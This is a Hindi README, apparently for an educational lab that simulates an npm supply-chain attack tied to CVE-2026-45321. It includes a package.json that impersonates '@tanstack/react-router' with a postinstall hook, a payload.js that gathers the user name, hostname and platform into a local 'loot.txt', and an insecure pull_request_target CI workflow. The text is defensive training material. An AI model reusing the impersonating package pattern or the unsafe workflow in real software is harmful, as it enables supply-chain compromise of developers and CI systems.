
शैक्षिक लैब जो npm सप्लाई चेन हमलों, CI/CD दुरुपयोग, और CVE-2026-45321 के माध्यम से इंस्टॉल-टाइम कोड निष्पादन का अनुकरण करती है। स्थानीय दुर्भावनापूर्ण पैकेज तैनाती के साथ व्यावहारिक रक्षात्मक सुरक्षा प्रशिक्षण।
npm सप्लाई चेन अटैक, CI/CD दुरुपयोग और इंस्टॉल-टाइम कोड निष्पादन को समझने के लिए शैक्षिक प्रयोगशाला
यह परियोजना केवल निम्नलिखित उद्देश्यों के लिए बनाई गई है:
इस परियोजना का उपयोग इसके लिए न करें:
यह प्रयोगशाला निम्नलिखित घटनाओं की मूल अवधारणा का अनुकरण करती है:
सिमुलेशन स्थानीय और सुरक्षित रूप से बिना किसी वास्तविकता के किया जाता है:
lab/
├── fake-repo/ # लक्ष्य रिपॉजिटरी का अनुकरण
├── attacker-package/ # दुर्भावनापूर्ण पैकेज का अनुकरण
└── victim-project/ # पीड़ित का अनुकरण
Attacker Package
↓
npm install
↓
postinstall स्क्रिप्ट चलती है
↓
payload.js स्वचालित रूप से निष्पादित होता है
↓
पीड़ित install-time निष्पादन से प्रभावित होता है
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
परिणाम:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
यदि सफल होता है तो निम्न दिखाई देगा:
=== MALICIOUS PAYLOAD EXECUTED ===
और फ़ाइल:
loot.txt
स्वचालित रूप से बन जाएगी।
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
इस परियोजना का उपयोग निम्नलिखित को समझने के लिए भी किया जा सकता है:
उदाहरण वर्कफ़्लो:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| प्रयोगशाला सिमुलेशन | वास्तविक दुनिया |
|---|---|
| attacker-package | समझौता किया गया TanStack पैकेज |
| payload.js | दुर्भावनापूर्ण इंस्टॉलर |
यह प्रयोगशाला निम्नलिखित के बारे में जागरूकता बढ़ाने के लिए बनाई गई है:
| postinstall | जीवनचक्र हुक दुरुपयोग |
| victim-project | पीड़ित डेवलपर/CI |
| fake-repo | GitHub Actions पाइपलाइन |